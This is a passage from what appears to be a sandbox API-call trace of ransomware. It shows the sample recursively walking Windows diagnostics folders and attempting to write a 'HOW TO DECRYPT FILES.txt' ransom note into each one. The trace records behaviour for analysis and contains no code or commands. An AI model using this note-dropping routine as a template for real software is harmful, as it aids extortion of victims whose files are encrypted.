lpString2="TS_NotWorkProperly.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\TS_NotWorkProperly.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\TS_NotWorkProperly.ps1" [0126.400] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.400] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Device\\TS_NotWorkProperly.ps1") returned="TS_NotWorkProperly.ps1" [0126.400] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Device\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\") returned="C:\\Windows\\diagnostics\\system\\Device\\" [0126.400] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Device\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Device\\") returned="" [0126.400] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" [0126.400] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt")) returned 0xffffffff [0126.400] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Device\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\device\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.401] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.401] CloseHandle (hObject=0xffffffff) returned 0 [0126.401] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Device\\", lpString2="TS_WindowsUpdate.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Device\\TS_WindowsUpdate.ps1") returned="C:\\Windows\\diagnostics\\system\\Device\\TS_WindowsUpdate.ps1" [0126.401] lstrcmpA (lpString1=".", lpString2="DeviceCenter") returned -1 [0126.401] lstrcmpA (lpString1="..", lpString2="DeviceCenter") returned -1 [0126.401] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.401] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="DeviceCenter" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter" [0126.401] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.411] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.411] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.411] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.412] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.412] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\*.*") returned="*.*" [0126.412] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" [0126.412] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="" [0126.412] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" [0126.412] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\devicecenter\\how to decrypt files.txt")) returned 0xffffffff [0126.412] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\devicecenter\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.412] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.413] CloseHandle (hObject=0xffffffff) returned 0 [0126.413] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\CL_Utility.ps1" [0126.413] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.413] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.413] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" [0126.413] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="" [0126.413] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" [0126.413] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\devicecenter\\how to decrypt files.txt")) returned 0xffffffff [0126.414] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\devicecenter\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.414] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.414] CloseHandle (hObject=0xffffffff) returned 0 [0126.414] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\DiagPackage.diagpkg" [0126.414] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.415] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.415] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" [0126.415] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="" [0126.415] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" [0126.415] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\devicecenter\\how to decrypt files.txt")) returned 0xffffffff [0126.415] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\devicecenter\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.415] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.415] CloseHandle (hObject=0xffffffff) returned 0 [0126.416] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\DiagPackage.dll" [0126.416] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.416] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.416] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\DiagPackage.dll") returned="DiagPackage.dll" [0126.416] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US" [0126.416] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ed73f0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50156e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.422] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.422] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.422] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.422] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.422] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\*.*") returned="*.*" [0126.422] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\" [0126.422] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\") returned="" [0126.423] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.423] CloseHandle (hObject=0xffffffff) returned 0 [0126.423] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.423] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.423] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\" [0126.423] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\") returned="" [0126.424] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.424] CloseHandle (hObject=0xffffffff) returned 0 [0126.424] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.424] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\*.*") returned="*.*" [0126.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" [0126.424] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\DeviceCenter\\") returned="" [0126.425] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.425] CloseHandle (hObject=0xffffffff) returned 0 [0126.425] lstrcmpA (lpString1=".", lpString2="HomeGroup") returned -1 [0126.425] lstrcmpA (lpString1="..", lpString2="HomeGroup") returned -1 [0126.425] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.426] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\HomeGroup\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.429] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.429] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.429] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.429] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.429] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\*.*") returned="*.*" [0126.429] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.429] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.430] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.430] CloseHandle (hObject=0xffffffff) returned 0 [0126.430] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.430] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\CL_Detection.ps1") returned="CL_Detection.ps1" [0126.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.430] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.431] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.431] CloseHandle (hObject=0xffffffff) returned 0 [0126.431] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.431] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\CL_INetwork.ps1") returned="CL_INetwork.ps1" [0126.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.431] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.432] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.432] CloseHandle (hObject=0xffffffff) returned 0 [0126.432] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.432] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\CL_NativeMethods.ps1") returned="CL_NativeMethods.ps1" [0126.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.432] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.432] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.433] CloseHandle (hObject=0xffffffff) returned 0 [0126.433] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.433] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\CL_Service.ps1") returned="CL_Service.ps1" [0126.433] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.433] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.433] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.433] CloseHandle (hObject=0xffffffff) returned 0 [0126.434] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.434] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\CL_WscApi.ps1") returned="CL_WscApi.ps1" [0126.434] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.434] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.434] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.434] CloseHandle (hObject=0xffffffff) returned 0 [0126.435] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.435] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.435] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.435] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.435] CloseHandle (hObject=0xffffffff) returned 0 [0126.435] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.435] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.435] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\DiagPackage.dll") returned="DiagPackage.dll" [0126.436] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237c974c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501568, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.436] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.436] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.436] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.436] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.436] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\*.*") returned="*.*" [0126.436] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\" [0126.437] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\") returned="" [0126.437] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.437] CloseHandle (hObject=0xffffffff) returned 0 [0126.437] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.437] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\" [0126.437] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\") returned="" [0126.438] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.438] CloseHandle (hObject=0xffffffff) returned 0 [0126.438] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.438] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\*.*") returned="*.*" [0126.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.438] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.439] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.439] CloseHandle (hObject=0xffffffff) returned 0 [0126.439] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.439] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.dll") returned="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.dll" [0126.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.439] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.440] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.440] CloseHandle (hObject=0xffffffff) returned 0 [0126.440] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.441] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\RS_ApplyFix.ps1") returned="RS_ApplyFix.ps1" [0126.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.441] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.441] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.442] CloseHandle (hObject=0xffffffff) returned 0 [0126.442] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.442] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\RS_LaunchInteraction.ps1") returned="RS_LaunchInteraction.ps1" [0126.442] lstrcpyA (in: lpString1=0x407019, 